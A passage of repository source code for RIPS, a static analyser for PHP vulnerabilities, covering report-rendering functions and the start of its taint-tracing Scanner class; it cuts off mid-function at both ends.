class=\"filename\">File: ',key($output),'</span><br>',\n\t\t\t\t\t'<div id=\"',key($output),'\"><br>';\n\n\t\t\t\t\tforeach($output[key($output)] as $vulnBlock)\n\t\t\t\t\t{\n\t\t\t\t\t\tif($vulnBlock->vuln)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$nr++;\n\t\t\t\t\t\t\techo '<div class=\"vulnblock\">',\n\t\t\t\t\t\t\t'<div id=\"pic',$vulnBlock->category,$nr,'\" class=\"minusico\" name=\"pic',$vulnBlock->category,'\" style=\"margin-top:5px\" title=\"minimize\"',\n\t\t\t\t\t\t\t' onClick=\"hide(\\'',$vulnBlock->category,$nr,'\\')\"></div><div class=\"vulnblocktitle\">',$vulnBlock->category,'</div>',\n\t\t\t\t\t\t\t'</div><div name=\"allcats\"><div class=\"vulnblock\" style=\"border-top:0px\" name=\"',$vulnBlock->category,'\" id=\"',$vulnBlock->category,$nr,'\">';\n\n\t\t\t\t\t\t\tif($treestyle == 2)\n\t\t\t\t\t\t\t\tkrsort($vulnBlock->treenodes);\n\n\t\t\t\t\t\t\tforeach($vulnBlock->treenodes as $tree)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// we do not have a prescan yet so RIPS misses function calls before the actual declaration, so we output vulns in functions without function call too (could have happened earlier)\n\t\t\t\t\t\t\t\t// if(empty($tree->funcdepend) || $tree->foundcallee )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<div class=\"codebox\"><table border=0>',\"\\n\",\n\t\t\t\t\t\t\t\t\t'<tr><td valign=\"top\" nowrap>',\"\\n\",\n\t\t\t\t\t\t\t\t\t'<div class=\"fileico\" title=\"review code\" ',\n\t\t\t\t\t\t\t\t\t'onClick=\"openCodeViewer(this,\\'',\n\t\t\t\t\t\t\t\t\taddslashes($tree->filename), '\\',\\'',\n\t\t\t\t\t\t\t\t\timplode(',', $tree->lines), '\\');\"></div>'.\"\\n\",\n\t\t\t\t\t\t\t\t\t'<div id=\"pic',key($output),$tree->lines[0],'\" class=\"minusico\" title=\"minimize\"',\n\t\t\t\t\t\t\t\t\t' onClick=\"hide(\\'',addslashes(key($output)),$tree->lines[0],'\\')\"></div><br />',\"\\n\";\n\n\t\t\t\t\t\t\t\t\tif(isset($GLOBALS['scan_functions'][$tree->name]))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t// help button\n\t\t\t\t\t\t\t\t\t\techo '<div class=\"help\" title=\"get help\" onClick=\"openHelp(this,\\'',\n\t\t\t\t\t\t\t\t\t\t$vulnBlock->category,'\\',\\'',$tree->name,'\\',\\'',\n\t\t\t\t\t\t\t\t\t\t(int)!empty($tree->get),'\\',\\'',\n\t\t\t\t\t\t\t\t\t\t(int)!empty($tree->post),'\\',\\'',\n\t\t\t\t\t\t\t\t\t\t(int)!empty($tree->cookie),'\\',\\'',\n\t\t\t\t\t\t\t\t\t\t(int)!empty($tree->files),'\\',\\'',\n\t\t\t\t\t\t\t\t\t\t(int)!empty($tree->cookie),'\\')\"></div>',\"\\n\";\n\n\t\t\t\t\t\t\t\t\t\tif(isset($GLOBALS['F_DATABASE'][$tree->name])\n\t\t\t\t\t\t\t\t\t\t|| isset($GLOBALS['F_FILE_AFFECT'][$tree->name])\n\t\t\t\t\t\t\t\t\t\t|| isset($GLOBALS['F_FILE_READ'][$tree->name])\n\t\t\t\t\t\t\t\t\t\t|| isset($GLOBALS['F_LDAP'][$tree->name])\n\t\t\t\t\t\t\t\t\t\t|| isset($GLOBALS['F_XPATH'][$tree->name])\n\t\t\t\t\t\t\t\t\t\t|| isset($GLOBALS['F_POP'][$tree->name]) )\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t// data leak scan\n\t\t\t\t\t\t\t\t\t\t\tif(!empty($vulnBlock->dataleakvar))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\techo '<div class=\"dataleak\" title=\"check data leak\" onClick=\"leakScan(this,\\'',\n\t\t\t\t\t\t\t\t\t\t\t\t$vulnBlock->dataleakvar[1],'\\',\\'', // varname\n\t\t\t\t\t\t\t\t\t\t\t\t$vulnBlock->dataleakvar[0],'\\', false)\"></div>',\"\\n\"; // line\n\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$tree->title .= ' (Blind exploitation)';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tif(!empty($tree->get) || !empty($tree->post)\n\t\t\t\t\t\t\t\t\t|| !empty($tree->cookie) || !empty($tree->files)\n\t\t\t\t\t\t\t\t\t|| !empty($tree->server) )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t/*echo '<div class=\"hotpatch\" title=\"hotpatch\" ',\n\t\t\t\t\t\t\t\t\t\t'onClick=\"openHotpatch(this, \\'',\n\t\t\t\t\t\t\t\t\t\taddslashes($tree->filename),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->get)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->post)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->cookie)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->files)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->server)),'\\');\"></div>',\"\\n\",*/\n\n\t\t\t\t\t\t\t\t\t\techo '<div class=\"exploit\" title=\"generate exploit\" ',\n\t\t\t\t\t\t\t\t\t\t'onClick=\"openExploitCreator(this, \\'',\n\t\t\t\t\t\t\t\t\t\taddslashes($tree->filename),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->get)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->post)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->cookie)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->files)),\n\t\t\t\t\t\t\t\t\t\t'\\',\\'',implode(',',array_unique($tree->server)),'\\');\"></div>';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t// $tree->title\n\t\t\t\t\t\t\t\t\techo '</td><td><span class=\"vulntitle\">',$tree->title,'</span>',\n\t\t\t\t\t\t\t\t\t'<div class=\"code\" id=\"',key($output),$tree->lines[0],'\">',\"\\n\";\n\n\t\t\t\t\t\t\t\t\tif($treestyle == 1)\n\t\t\t\t\t\t\t\t\t\ttraverseBottomUp($tree);\n\t\t\t\t\t\t\t\t\telse if($treestyle == 2)\n\t\t\t\t\t\t\t\t\t\ttraverseTopDown($tree);\n\n\t\t\t\t\t\t\t\t\t\techo '<ul><li>',\"\\n\";\n\t\t\t\t\t\t\t\t\tdependenciesTraverse($tree);\n\t\t\t\t\t\t\t\t\techo '</li></ul>',\"\\n\",\t'</div>',\"\\n\", '</td></tr></table></div>',\"\\n\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif(!empty($vulnBlock->alternatives))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\techo '<div class=\"codebox\"><table><tr><td><ul><li><span class=\"vulntitle\">Vulnerability is also triggered in:</span>';\n\t\t\t\t\t\t\t\tforeach($vulnBlock->alternatives as $alternative)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<ul><li>'.$alternative.'</li></ul>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\techo '</li></ul></td></table></div>';\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\techo '</div></div><div style=\"height:20px\"></div>',\"\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\techo '</div><div class=\"buttonbox\">',\"\\n\",\n\t\t\t\t\t'<input type=\"submit\" class=\"Button\" value=\"hide all\" ',\n\t\t\t\t\t'onClick=\"hide(\\'',addslashes(key($output)),'\\')\">',\"\\n\",\n\t\t\t\t\t'</div></div><hr>',\"\\n\";\n\t\t\t\t}\n\t\t\t\telse if(count($output) == 1)\n\t\t\t\t{\n\t\t\t\t\techo '<div style=\"margin-left:30px;color:#000000\">Nothing vulnerable found. Change the verbosity level or vulnerability type  and try again.</div>';\n\t\t\t\t}\n\t\t\t}\n\t\t\twhile(next($output));\n\t\t}\n\t\telse if(count($GLOBALS['scanned_files']) > 0)\n\t\t{\n\t\t\techo '<div style=\"margin-left:30px;color:#000000\">Nothing vulnerable found. Change the verbosity level or vulnerability type and try again.</div>';\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo '<div style=\"margin-left:30px;color:#000000\">Nothing to scan. Please check your path/file name.</div>';\n\t\t}\n\n\t}\n\n\t// build list of available functions\n\tfunction createFunctionList($user_functions_offset)\n\t{\n\t\tif(!empty($user_functions_offset))\n\t\t{\n\t\t\tksort($user_functions_offset);\n\t\t\tif($GLOBALS['file_amount'] <= WARNFILES)\n\t\t\t\t$js = 'graph2 = new Graph(document.getElementById(\"functioncanvas\"));'.\"\\n\";\n\t\t\telse\n\t\t\t\t$js = 'canvas = document.getElementById(\"functioncanvas\");ctx = canvas.getContext(\"2d\");ctx.fillStyle=\"#ff0000\";ctx.fillText(\"Graphs have been disabled for a high file amount (>'.WARNFILES.').\", 20, 30);';\n\t\t\t$x=20;\n\t\t\t$y=50;\n\t\t\t$i=0;\n\n\t\t\tif($GLOBALS['file_amount'] <= WARNFILES)\n\t\t\t{\n\t\t\t\t// create JS graph elements\n\t\t\t\tforeach($user_functions_offset as $func_name => $info)\n\t\t\t\t{\n\t\t\t\t\tif($func_name !== '__main__')\n\t\t\t\t\t{\n\t\t\t\t\t\t$x = ($i%4==0) ? $x=20 : $x=$x+160;\n\t\t\t\t\t\t$y = ($i%4==0) ? $y=$y+70 : $y=$y;\n\t\t\t\t\t\t$i++;\n\n\t\t\t\t\t\t$func_varname = str_replace('::', '', $func_name);\n\n\t\t\t\t\t\t$js.= \"var e$func_varname = graph2.addElement(pageTemplate, { x:$x, y:$y }, '\".addslashes($func_name).\"( )', '', '\".(isset($info[5]) ? $info[5] : 0).\"', '\".(isset($info[6]) ? $info[6] : 0).\"', 0);\\n\";\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\t$js.='var e__main__ = graph2.addElement(pageTemplate, { x:260, y:20 }, \"__main__\", \"\", \"'.(isset($info[5]) ? $info[5] : 0).'\", \"'.(isset($info[6]) ? $info[6] : 0).'\", 0);'.\"\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\techo '<div id=\"functionlistdiv\"><table><tr><th align=\"left\">declaration</th><th align=\"left\">calls</th></tr>';\n\t\t\tforeach($user_functions_offset as $func_name => $info)\n\t\t\t{\n\t\t\t\tif($func_name !== '__main__')\n\t\t\t\techo '<tr><td><div id=\"fol_',$func_name,'\" class=\"funclistline\" title=\"',$info[0],'\" ',\n\t\t\t\t'onClick=\"openCodeViewer(3, \\'',addslashes($info[0]),'\\', \\'',($info[1]+1),\n\t\t\t\t',',(!empty($info[2]) ? $info[2]+1 : 0),'\\')\">',$func_name,'</div></td><td>';\n\n\t\t\t\t$calls = array();\n\t\t\t\tif(isset($info[3]))\n\t\t\t\t{\n\t\t\t\t\tforeach($info[3] as $call)\n\t\t\t\t\t{\n\t\t\t\t\t\t$calls[] = '<span class=\"funclistline\" title=\"'.$call[0].\n\t\t\t\t\t\t'\" onClick=\"openCodeViewer(3, \\''.addslashes($call[0]).'\\', \\''.$call[1].'\\')\">'.$call[1].'</span>';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\techo implode(',',array_unique($calls)).'</td></tr>';\n\n\t\t\t\tif(isset($info[4]) && $GLOBALS['file_amount'] <= WARNFILES)\n\t\t\t\t{\n\t\t\t\t\tforeach($info[4] as $call)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(!is_array($call))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$color = (isset($info[4][$call])) ? '#F00' : '#000';\n\t\t\t\t\t\t\t$js.=\"try{graph2.addConnection(e$call.getConnector(\\\"links\\\"), e$func_name.getConnector(\\\"parents\\\"), '$color');}catch(e){}\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($GLOBALS['file_amount'] <= WARNFILES)\n\t\t\t\t$js.='graph2.update();';\n\t\t\techo '</table></div>',\"\\n<div id='functiongraph_code' style='display:none'>$js</div>\\n\";\n\t\t} else\n\t\t{\n\t\t\techo \"<div id='functiongraph_code' style='display:none'>document.getElementById('windowcontent3').innerHTML='No user defined functions found.'</div>\\n\";\n\t\t}\n\t}\n\n\t// build list of all entry points (user input)\n\tfunction createUserinputList($user_input)\n\t{\n\t\tif(!empty($user_input))\n\t\t{\n\t\t\tksort($user_input);\n\t\t\techo '<table><tr><th align=\"left\">type[parameter]</th><th align=\"left\">taints</th></tr>';\n\t\t\tforeach($user_input as $input_name => $file)\n\t\t\t{\n\t\t\t\t$finds = array();\n\t\t\t\tforeach($file as $file_name => $lines)\n\t\t\t\t{\n\t\t\t\t\tforeach($lines as $line)\n\t\t\t\t\t{\n\t\t\t\t\t\t$finds[] = '<span class=\"funclistline\" title=\"'.htmlentities($file_name).'\" onClick=\"openCodeViewer(4, \\''.htmlentities($file_name, ENT_QUOTES).\"', '$line')\\\">$line</span>\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\techo \"<tr><td nowrap>$input_name</td><td nowrap>\",implode(',',array_unique($finds)),'</td></tr>';\n\n\t\t\t}\n\t\t\techo '</table>';\n\t\t} else\n\t\t{\n\t\t\techo 'No userinput found.';\n\t\t}\n\t}\n\n\t// build list of all scanned files\n\tfunction createFileList($files, $file_sinks)\n\t{\n\t\tif(!empty($files))\n\t\t{\n\t\t\tif($GLOBALS['file_amount'] <= WARNFILES)\n\t\t\t\t$js = 'graph = new Graph(document.getElementById(\"filecanvas\"));'.\"\\n\";\n\t\t\telse\n\t\t\t\t$js = 'canvas = document.getElementById(\"filecanvas\");ctx = canvas.getContext(\"2d\");ctx.fillStyle=\"#ff0000\";ctx.fillText(\"Graphs have been disabled for a high file amount (>'.WARNFILES.').\", 20, 30);';\n\n\t\t\t// get vuln files\n\t\t\t$vulnfiles = array();\n\t\t\tforeach($GLOBALS['output'] as $filename => $blocks)\n\t\t\t{\n\t\t\t\tforeach($blocks as $block)\n\t\t\t\t{\n\t\t\t\t\tif($block->vuln)\n\t\t\t\t\t{\n\t\t\t\t\t\t$vulnfiles[] = $block->treenodes[0]->filename;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// sort files by \"include weight\" (main files on top, included files bottom)\n\t\t\t$mainfiles = array();\n\t\t\t$incfiles = array();\n\t\t\tforeach($files as $file => $includes)\n\t\t\t{\n\t\t\t\t$mainfiles[] = realpath($file);\n\t\t\t\tif(!empty($includes))\n\t\t\t\t{\n\t\t\t\t\tforeach($includes as $include)\n\t\t\t\t\t{\n\t\t\t\t\t\t$incfiles[] = realpath($include);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$elements = array_unique(array_merge(array_diff($mainfiles,$incfiles), array('__break__'), $incfiles));\n\t\t\t$x=20;\n\t\t\t$y=-50;\n\t\t\t$i=0;\n\t\t\t$style = 'pageTemplate';\n\n\t\t\t// add JS elements\n\t\t\tforeach($elements as $file)\n\t\t\t{\n\t\t\t\tif($file !== '__break__')\n\t\t\t\t{\n\t\t\t\t\t$x = ($i%4==0) ? $x=20 : $x=$x+160;\n\t\t\t\t\t$y = ($i%4==0) ? $y=$y+70 : $y=$y;\n\t\t\t\t\t$i++;\n\n\t\t\t\t\t// leave space for legend symbols\n\t\t\t\t\tif($i==3)\n\t\t\t\t\t\t$i++;\n\n\t\t\t\t\t$file = realpath($file);\n\n\t\t\t\t\t$filename = is_dir($_POST['loc']) ? str_replace(realpath($_POST['loc']), '', $file) : str_replace(realpath(str_replace(basename($_POST['loc']),'', $_POST['loc'])),'',$file);\n\t\t\t\t\t$varname = preg_replace('/[^A-Za-z0-9]/', '', $filename);\n\n\t\t\t\t\t$userinput = 0;\n\t\t\t\t\tforeach($GLOBALS['user_input'] as $inputname)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(isset($inputname[$file]))\n\t\t\t\t\t\t\t$userinput++;\n\t\t\t\t\t}\n\n\t\t\t\t\tif($GLOBALS['file_amount'] <= WARNFILES)\n\t\t\t\t\t\t$js.= \"var e$varname = graph.addElement($style, { x:$x, y:$y }, '\".htmlentities($filename, ENT_QUOTES).\"', '', '\".$userinput.\"', '\".htmlentities($file_sinks[$file], ENT_QUOTES).\"', \".(in_array($file, $vulnfiles) ? 1 : 0).\");\\n\";\n\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\t// add to $i what is missing til new row is created\n\t\t\t\t\t$i=$i+(4-($i%4));\n\t\t\t\t\t$y+=30;\n\t\t\t\t\t$style = 'scriptTemplate';\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// build file list and add connection to includes\n\t\t\techo '<div id=\"filelistdiv\"><table>';\n\t\t\tforeach($files as $file => $includes)\n\t\t\t{\n\t\t\t\t$file = realpath($file);\n\n\t\t\t\t$filename = is_dir($_POST['loc']) ? str_replace(realpath($_POST['loc']), '', $file) : str_replace(realpath(str_replace(basename($_POST['loc']),'', $_POST['loc'])),'',$file);\n\t\t\t\t$varname = preg_replace('/[^A-Za-z0-9]/', '', $filename);\n\n\t\t\t\tif(empty($includes))\n\t\t\t\t{\n\t\t\t\t\techo '<tr><td><div class=\"funclistline\" title=\"',htmlentities($file),'\" ',\n\t\t\t\t\t'onClick=\"openCodeViewer(3, \\'',htmlentities($file, ENT_QUOTES),'\\', \\'0\\')\">',htmlentities($filename),'</div></td></tr>',\"\\n\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$parent = $varname;\n\t\t\t\t\techo '<tr><td><div class=\"funclistline\" title=\"',htmlentities($file),'\" ',\n\t\t\t\t\t'onClick=\"openCodeViewer(3, \\'',htmlentities($file, ENT_QUOTES),'\\', \\'0\\')\">',htmlentities($filename),'</div><ul style=\"margin-top:0px;\">',\"\\n\";\n\t\t\t\t\tforeach($includes as $include)\n\t\t\t\t\t{\n\t\t\t\t\t\t$include = realpath($include);\n\n\t\t\t\t\t\t$includename = is_dir($_POST['loc']) ? str_replace(realpath($_POST['loc']), '', $include) : str_replace(realpath(str_replace(basename($_POST['loc']),'', $_POST['loc'])),'',$include);\n\t\t\t\t\t\t$incvarname = preg_replace('/[^A-Za-z0-9]/', '', $includename);\n\n\t\t\t\t\t\techo '<li><div class=\"funclistline\" title=\"',htmlentities($include),'\" ',\n\t\t\t\t\t\t'onClick=\"openCodeViewer(3, \\'',htmlentities($include, ENT_QUOTES),'\\', \\'0\\')\">',htmlentities($includename),'</div></li>',\"\\n\";\n\n\t\t\t\t\t\tif($GLOBALS['file_amount'] <= WARNFILES)\n\t\t\t\t\t\t\t$js.=\"try{graph.addConnection(e$incvarname.getConnector(\\\"links\\\"), e$parent.getConnector(\\\"parents\\\"), '#000');}catch(e){}\\n\";\n\t\t\t\t\t}\n\t\t\t\t\techo '</ul></td></tr>',\"\\n\";\n\t\t\t\t}\n\n\t\t\t}\n\t\t\tif($GLOBALS['file_amount'] <= WARNFILES)\n\t\t\t\t$js.='graph.update();';\n\t\t\techo '</table></div>',\"\\n<div id='filegraph_code' style='display:none'>$js</div>\\n\";\n\t\t}\n\t}\n\n\tfunction statsRow($nr, $name, $amount, $all)\n\t{\n\t\techo '<tr><td nowrap onmouseover=\"this.style.color=\\'white\\';\" onmouseout=\"this.style.color=\\'#DFDFDF\\';\" onClick=\"catshow(\\'',$name,'\\')\" style=\"cursor:pointer;\" title=\"show only vulnerabilities of this category\">',$name,':</td><td nowrap><div id=\"chart'.$nr.'\" class=\"chart\" style=\"width:',\n\t\t\tround(($amount/$all)*100,0),'\"></div><div id=\"vuln'.$nr.'\">',$amount,'</div></td></tr>';\n\t}\n"
  },
  {
    "path": "lib/scanner.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\nclass Scanner\n{\n\tpublic $file_name;\n\tpublic $scan_functions;\n\tpublic $info_functions;\n\tpublic $source_functions;\n\n\tpublic $var_declares_global;\n\tpublic $globals_from_function;\n\n\tpublic $in_class;\n\tpublic $class_name;\n\tpublic $vuln_classes;\n\tpublic $class_vars;\n\tpublic $brace_save_class;\n\n\tpublic $in_function;\n\tpublic $function_obj;\n\tpublic $var_declares_local;\n\tpublic $put_in_global_scope;\n\tpublic $brace_save_func;\n\n\tpublic $in_condition;\n\tpublic $braces_open;\n\tpublic $ignore_requirement;\n\tpublic $last_dependency;\n\tpublic $dependencies;\n\tpublic $dependencytokens;\n\n\tpublic $securedby;\n\tpublic $ignore_securing_function;\n\tpublic $userfunction_secures;\n\tpublic $userfunction_taints;\n\tpublic $comment;\n\n\tpublic $inc_file_stack;\n\tpublic $inc_map;\n\tpublic $include_paths;\n\tpublic $file_pointer;\n\tpublic $lines_stack;\n\tpublic $lines_pointer;\n\tpublic $tif;\n\tpublic $tif_stack;\n\n\tpublic $tokens;\n\n\tfunction __construct($file_name, $scan_functions, $info_functions, $source_functions)\n\t{\n\t\t$this->file_name = $file_name;\n\t\t$this->scan_functions = $scan_functions;\n\t\t$this->info_functions = $info_functions;\n\t\t$this->source_functions = $source_functions;\n\n\t\t$this->var_declares_global = array();\n\t\t$this->var_declares_local = array();\n\t\t$this->put_in_global_scope = array();\n\t\t$this->globals_from_function = array();\n\n\t\t$this->in_class = false;\n\t\t$this->class_name = '';\n\t\t$this->vuln_classes = array();\n\t\t$this->class_vars = array();\n\n\t\t$this->in_function = 0;\n\t\t$this->function_obj = null;\n\n\t\t$this->in_condition = 0;\n\t\t$this->braces_open = 0;\n\t\t$this->brace_save_func = -1;\n\t\t$this->brace_save_class = -1;\n\t\t$this->ignore_requirement = false;\n\t\t$this->last_dependency = array();\n\t\t$this->dependencies = array();\n\t\t$this->dependencytokens = array();\n\n\t\t$this->securedby = array();\n\t\t$this->ignore_securing_function = false;\n\t\t$this->userfunction_secures = false;\n\t\t$this->userfunction_taints = false;\n\t\t$this->comment = '';\n\n\t\t$this->inc_file_stack = array(realpath($this->file_name));\n\t\t$this->inc_map = array();\n\t\t$this->include_paths = Analyzer::get_ini_paths(ini_get(\"include_path\"));\n\t\t$this->file_pointer = end($this->inc_file_stack);\n\t\tif(!isset($GLOBALS['file_sinks_count'][$this->file_pointer]))\n\t\t\t$GLOBALS['file_sinks_count'][$this->file_pointer] = 0;\n\t\t$this->lines_stack = array();\n\t\t$this->lines_stack[] = file($this->file_name);\n\t\t$this->lines_pointer = end($this->lines_stack);\n\t\t$this->tif = 0; // tokennr in file\n\t\t$this->tif_stack = array();\n\n\t\t// preload output\n\t\techo $GLOBALS['fit'] . '|' . $GLOBALS['file_amount'] . '|' . $this->file_pointer . ' (tokenizing)|' . $GLOBALS['timeleft'] . '|' . \"\\n\";\n\t\t@ob_flush();\n\t\tflush();\n\n\t\t// tokenizing\n\t\t$tokenizer = new Tokenizer($this->file_pointer);\n\t\t$this->tokens = $tokenizer->tokenize(implode('',$this->lines_pointer));\n\t\tunset($tokenizer);\n\n\t\t// add auto includes from php.ini\n\t\tif(ini_get('auto_prepend_file'))\n\t\t{\n\t\t\t$this->add_auto_include(ini_get('auto_prepend_file'), true);\n\t\t}\n\t\tif(ini_get('auto_append_file'))\n\t\t{\n\t\t\t$this->add_auto_include(ini_get('auto_append_file'), false);\n\t\t}\n\t}\n\n\t// create require tokens for auto_prepend/append_files and add to tokenlist\n\tfunction add_auto_include($paths, $beginning)\n\t{\n\t\t$paths = Analyzer::get_ini_paths($paths);\n\t\t$addtokens = array();\n\t\tforeach($paths as $file)\n\t\t{\n\t\t\t$includetokens = array(\n\t\t\t\tarray(T_REQUIRE, 'require', 0),\n\t\t\t\tarray(T_CONSTANT_ENCAPSED_STRING, \"'$file'\", 0),\n\t\t\t\t';'\n\t\t\t);\n\t\t\t$addtokens = array_merge($addtokens, $includetokens);\n\t\t}\n\t\tif($beginning)\n\t\t\t$this->tokens = array_merge($addtokens, $this->tokens);\n\t\telse\n\t\t\t$this->tokens = array_merge($this->tokens, $addtokens);\n\t}\n\n\t// traces recursivly parameters and adds them as child to parent\n\t// returns true if a parameter is tainted by userinput (1=directly tainted, 2=function param)\n\tfunction scan_parameter($mainparent, $parent, $var_token, $var_keys, $last_token_id, $var_declares, $var_declares_global, $userinput, $F_SECURES=array(), $return_scan=false, $ignore_securing=false, $secured=false)\n\t{\n\t\t#print_r(func_get_args());echo \"\\n----------------\\n\";\n\t\t$vardependent = false;\n\n\t\t$var_name = $var_token[1];\n\t\t// constants\n\t\tif($var_name[0] !== '$')\n\t\t{\n\t\t\t$var_name = strtoupper($var_name);\n\t\t}\n\t\t// variables\n\t\telse\n\t\t{\n\t\t\t// reconstruct array key values $a[$b]\n\t\t\tif(isset($var_token[3]))\n\t\t\t{\n\t\t\t\tfor($k=0;$k<count($var_token[3]); $k++)\n\t\t\t\t{\n\t\t\t\t\tif(is_array($var_token[3][$k]))\n\t\t\t\t\t{\n\t\t\t\t\t\t$var_token[3][$k] = Analyzer::get_tokens_value(\n\t\t\t\t\t\t\t$this->file_pointer,\n\t\t\t\t\t\t\t$var_token[3][$k],\n\t\t\t\t\t\t\t$var_declares,\n\t\t\t\t\t\t\t$var_declares_global,\n\t\t\t\t\t\t\t$last_token_id\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// handle $GLOBALS and $_SESSIONS\n\t\t\tif(isset($var_token[3]))\n\t\t\t{\n\t\t\t\tif($var_name == '$GLOBALS' && !isset($var_declares[$var_name]) && !empty($var_token[3][0]) )\n\t\t\t\t{\n\t\t\t\t\t$var_name = '$'. str_replace(array(\"'\",'\"'), '', $var_token[3][0]);\n\t\t\t\t\t// php $GLOBALS: ignore previous local vars and take only global vars\n\t\t\t\t\t$var_declares = $var_declares_global;\n\t\t\t\t}\n\t\t\t\telse if($var_name === '$_SESSION' && !isset($var_declares[$var_name]) && !empty($var_declares_global))\n\t\t\t\t{\n\t\t\t\t\t// $_SESSION data is handled as global variables\n\t\t\t\t\t$var_declares = array_merge($var_declares_global, $var_declares);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// if a register_globals implementation is present shift it to the beginning of the var_declare array\n\t\t\tif(isset($var_declares['register_globals']) && !in_array($var_name, Sources::$V_USERINPUT)\n\t\t\t&& (!$this->in_function || in_array($var_name, $this->put_in_global_scope)))\n\t\t\t{\n\t\t\t\tif(!isset($var_declares[$var_name]))\n\t\t\t\t{\n\t\t\t\t\t$var_declares[$var_name] = $var_declares['register_globals'];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tforeach($var_declares['register_globals'] as $glob_obj)\n\t\t\t\t\t{\n\t\t\t\t\t\tif($glob_obj->id < $last_token_id)\n\t\t\t\t\t\t\t$var_declares[$var_name][] = $glob_obj;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// check if var declaration could be found for this var\n\t\t// and if the latest var_declares id is smaller than the last_token_id, otherwise continue with function parameters\n#echo \"trying: $var_name, isset: \".(int)(isset($var_declares[$var_name])).\", \".end($var_declares[$var_name])->id.\" < \".$last_token_id.\"?\\n\";\n\t\tif( isset($var_declares[$var_name]) && (end($var_declares[$var_name])->id < $last_token_id || $userinput) )\n\t\t{\n\t\t\tforeach($var_declares[$var_name] as $var_declare)\n\t\t\t{\n\t\t\t\t// check if array keys are the same (if it is an array)\n\t\t\t\t$array_key_diff = array();\n\t\t\t\tif( !empty($var_token[3]) && !empty($var_declare->array_keys) )\n\t\t\t\t\t$array_key_diff = array_diff_assoc($var_token[3], $var_declare->array_keys);\n\n#print_r($var_declares[$var_name]);\n#echo \"<br>var:\".$var_name; echo \" varkeys:\";print_r($var_token[3]); echo \" declarekeys:\";print_r($var_declare->array_keys); echo \" diff:\"; print_r($array_key_diff); echo \" |||\";\n\n#if(!empty($var_declare->array_keys)) die(print_r($var_declare->array_keys) . print_r($var_keys));\n\n\t\t\t\tif( $var_declare->id < $last_token_id && (empty($array_key_diff) || in_array('*', $array_key_diff) || in_array('*', $var_declare->array_keys)) /* && (empty($var_declare->array_keys) || empty($var_keys) || $var_declare->array_keys == $var_keys || in_array('*', $var_keys) || in_array('*', $array_key_diff) || in_array('*', $var_declare->array_keys) ) */  )\n\t\t\t\t{\n\t\t\t\t\t$comment = '';\n\t\t\t\t\t// add line to output\n\t\t\t\t\tif(count($mainparent->lines) < MAXTRACE)\n\t\t\t\t\t{\n\t\t\t\t\t\t$clean_vars_before_ifelse 